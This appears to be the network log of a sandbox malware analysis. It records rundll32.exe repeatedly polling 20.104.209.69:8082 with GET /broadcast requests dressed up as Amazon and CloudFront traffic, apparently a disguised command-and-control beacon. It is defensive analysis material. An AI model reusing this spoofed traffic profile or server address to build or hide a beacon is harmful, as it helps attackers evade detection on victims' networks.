Jan 8, 2023 16:10:38.987210035 CET	1945	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:10:39.105643034 CET	1945	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:10:30 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1611

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
497	192.168.2.6	50196	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:10:40.221106052 CET	1948	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:10:40.340030909 CET	1949	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:10:31 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
498	192.168.2.6	50197	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:10:41.062483072 CET	1951	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:10:41.180892944 CET	1952	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:10:32 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
499	192.168.2.6	50198	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:10:41.481213093 CET	1955	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:10:41.599437952 CET	1955	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:10:32 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.6	49703	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:06:58.999479055 CET	372	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:06:59.118388891 CET	372	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:06:50 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1611

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
50	192.168.2.6	49748	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:07:19.581327915 CET	515	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:07:19.699661016 CET	515	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:07:10 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
500	192.168.2.6	50199	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:10:41.849944115 CET	1958	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:10:41.969813108 CET	1958	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:10:33 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
501	192.168.2.6	50200	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:10:42.231425047 CET	1961	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:10:42.349595070 CET	1961	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:10:33 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
502	192.168.2.6	50201	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:10:42.600845098 CET	1964	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:10:42.719971895 CET	1965	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:10:33 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
503	192.168.2.6	50202	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:10:42.964555025 CET	1967	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:10:43.082912922 CET	1968	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:10:34 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
504	192.168.2.6	50203	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:10:43.350420952 CET	1970	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:10:43.469497919 CET	1971	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:10:34 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1611

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
505	192.168.2.6	50204	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:10:43.715851068 CET	1974	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:10:43.834384918 CET	1974	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:10:35 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
506	192.168.2.6	50205	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:10:44.090620041 CET	1977	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:10:44.209916115 CET	1977	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:10:35 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1611

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
507	192.168.2.6	50206	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:10:44.461106062 CET	1980	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:10:44.579766035 CET	1980	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:10:35 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1611

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
508	192.168.2.6	50207	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:10:44.826175928 CET	1983	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:10:44.944072008 CET	1984	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:10:36 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1611

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
509	192.168.2.6	50208	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:10:45.212490082 CET	1987	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:10:45.329848051 CET	1987	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:10:36 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
51	192.168.2.6	49749	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:07:19.985567093 CET	518	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:07:20.105038881 CET	518	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:07:11 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1611

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
510	192.168.2.6	50209	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:10:45.596142054 CET	1990	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:10:45.713696957 CET	1990	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:10:36 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
511	192.168.2.6	50210	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:10:45.975366116 CET	1993	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:10:46.093516111 CET	1993	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:10:37 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
512	192.168.2.6	50211	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:10:46.339607954 CET	1996	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:10:46.457954884 CET	1996	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:10:37 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1611

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
513	192.168.2.6	50212	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:10:46.718720913 CET	1999	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
